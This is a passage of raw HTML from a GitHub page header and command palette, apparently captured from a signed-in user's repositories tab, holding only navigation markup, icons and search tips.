v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="color-fg-muted">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path> </svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this user"> In this user </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="m-3 anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </li> </ul> </div> </label> </form> </div> </div> <nav id="global-nav" class="d-flex flex-column flex-md-row flex-self-stretch flex-md-self-auto" aria-label="Global"> <a class="Header-link py-md-3 d-block d-md-none py-2 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" data-turbo="false" href="/dashboard">Dashboard</a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-turbo="false" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull<span class="d-inline d-md-none d-lg-inline"> request</span>s </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-turbo="false" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues">Issues</a> <div class="d-flex position-relative"> <a class="js-selected-navigation-item Header-link flex-auto mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-turbo="false" data-selected-links=" /marketplace" href="/marketplace">Marketplace</a> </div> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:explore" data-turbo="false" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore">Explore</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:workspaces context:user" data-turbo="false" data-selected-links="/codespaces /codespaces" href="/codespaces">Codespaces</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:Sponsors" data-hydro-click="{"event_type":"sponsors.button_click","payload":{"button":"HEADER_SPONSORS_DASHBOARD","sponsorable_login":"chikitang","originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="894b353f92ef9cf99df582a68ce68afedb950c23eac562794d264b04c4d7d514" data-turbo="false" data-selected-links=" /sponsors/accounts" href="/sponsors/accounts">Sponsors</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/settings/profile">Settings</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/chikitang"> <img class="avatar avatar-user" loading="lazy" decoding="async" src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" width="20" height="20" alt="@chikitang" /> chikitang </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-turbo="false" action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="7Jd6yI5THWDg_FkIJV1Ds7qiCFaoX_Hvj-TdaYW6DwuhdateNViXxoS146e9dSd4uNbU3k2j7jqyorRzKNOZEQ" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade d-md-none btn-link d-block width-full text-left" style="padding-left: 2px;" data-analytics-event="{"category":"Header","action":"sign out","label":"icon:logout"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-sign-out v-align-middle"> <path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path> </svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{"category":"Header","action":"go to dashboard","label":"icon:logo"}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6MTA3MDkzMjg1IiwidCI6MTY1NDY2MTY3M30=--d1a31430da7c3a208906377c76b5480a6b4db38284d899049601dbe9bf1e1be6"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path> </svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset"> <summary class="Header-link" aria-label="Create new…" data-analytics-event="{"category":"Header","action":"create new","label":"icon:add"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-plus"> <path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path> </svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/users/chikitang/projects/new?type=beta" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/chikitang/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-analytics-event="{"category":"Header","action":"show menu","label":"icon:avatar"}" > <img src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" alt="@chikitang" size="20" height="20" width="20" data-view-component="true" class="avatar avatar-small circle" /> <span class="unread-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" preload> <include-fragment src="/users/107093285/menu" loading="lazy"> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-fg-default" data-show-on-error> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <details class="details-reset details-overlay details-overlay-dark js-command-palette-dialog" data-pjax-replace id="command-palette-pjax-container" > <summary aria-label="command palette trigger"> </summary> <details-dialog class="command-palette-details-dialog d-flex flex-column flex-justify-center height-fit" aria-label="command palette"> <command-palette class="command-palette color-bg-default rounded-3 border color-shadow-small" data-return-to=/chikitang?tab=repositories data-user-id="107093285" data-activation-hotkey="Mod+k,Mod+Alt+k" data-command-mode-hotkey="Mod+Shift+k" data-action=" command-palette-page-stack-updated:command-palette#updateInputScope itemsUpdated:command-palette#itemsUpdated keydown:command-palette#onKeydown loadingStateChanged:command-palette#loadingStateChanged selectedItemChanged:command-palette#selectedItemChanged pageFetchError:command-palette#pageFetchError "> <command-palette-mode data-char="#" data-scope-types="[""]" data-placeholder="Search issues and pull requests" ></command-palette-mode> <command-palette-mode data-char="#" data-scope-types="["owner","repository"]" data-placeholder="Search issues, pull requests, discussions, and projects" ></command-palette-mode> <command-palette-mode data-char="!" data-scope-types="["owner","repository"]" data-placeholder="Search projects" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="[""]" data-placeholder="Search or jump to a user, organization, or repository" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="["owner"]" data-placeholder="Search or jump to a repository" ></command-palette-mode> <command-palette-mode data-char="/" data-scope-types="["repository"]" data-placeholder="Search files" ></command-palette-mode> <command-palette-mode data-char="?" ></command-palette-mode> <command-palette-mode data-char=">" data-placeholder="Run a command" ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="[""]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="["owner"]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode class="js-command-palette-default-mode" data-char="" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-input placeholder="Search or jump to..." data-action=" command-palette-input:command-palette#onInput command-palette-select:command-palette#onSelect command-palette-descope:command-palette#onDescope command-palette-cleared:command-palette#onInputClear " > <div class="js-search-icon d-flex flex-items-center mr-2" style="height: 26px"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search color-fg-muted"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <div class="js-spinner d-flex flex-items-center mr-2 color-fg-muted" hidden> <svg aria-label="Loading" class="anim-rotate" viewBox="0 0 16 16" fill="none" width="16" height="16"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" ></circle> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" ></path> </svg> </div> <command-palette-scope > <div data-target="command-palette-scope.placeholder" hidden class="color-fg-subtle">/ <span class="text-semibold color-fg-default">...</span> / </div> <command-palette-token data-text="chikitang" data-id="U_kgDOBmIdJQ" data-type="owner" data-value="chikitang" data-targets="command-palette-scope.tokens" class="color-fg-default text-semibold" style="white-space:nowrap;line-height:20px;" >chikitang<span class="color-fg-subtle text-normal"> / </span></command-palette-token> </command-palette-scope> <div class="command-palette-input-group flex-1 form-control border-0 box-shadow-none" style="z-index: 0"> <div class="command-palette-typeahead position-absolute d-flex flex-items-center Truncate"> <span class="typeahead-segment input-mirror" data-target="command-palette-input.mirror"></span> <span class="Truncate-text" data-target="command-palette-input.typeaheadText"></span> <span class="typeahead-segment" data-target="command-palette-input.typeaheadPlaceholder"></span> </div> <input class="js-overlay-input typeahead-input d-none" disabled tabindex="-1" aria-label="Hidden input for typeahead" > <input type="text" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" class="js-input typeahead-input form-control border-0 box-shadow-none input-block width-full no-focus-indicator" aria-label="Command palette input" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="command-palette-page-stack" role="combobox" data-action=" input:command-palette-input#onInput keydown:command-palette-input#onKeydown " > </div> <button aria-label="clear command palette" aria-keyshortcuts="Control+Backspace" data-action="click:command-palette-input#onClear keypress:command-palette-input#onClear" data-target="command-palette-input.clearButton" id="command-palette-clear-button" hidden="hidden" type="button" data-view-component="true" class="btn-octicon command-palette-input-clear-button"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x-circle-fill"> <path fill-rule="evenodd" d="M2.343 13.657A8 8 0 1113.657 2.343 8 8 0 012.343 13.657zM6.03 4.97a.75.75 0 00-1.06 1.06L6.94 8 4.97 9.97a.75.75 0 101.06 1.06L8 9.06l1.97 1.97a.75.75 0 101.06-1.06L9.06 8l1.97-1.97a.75.75 0 10-1.06-1.06L8 6.94 6.03 4.97z"></path> </svg></button> <tool-tip hidden="hidden" for="command-palette-clear-button" data-direction="w" data-type="description" data-view-component="true">Clear</tool-tip> </command-palette-input> <command-palette-page-stack data-default-scope-id="U_kgDOBmIdJQ" data-default-scope-type="User" data-action="command-palette-page-octicons-cached:command-palette-page-stack#cacheOcticons" > <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search discussions </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">!</kbd> to search projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search teams </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[""]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search people and organizations </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" 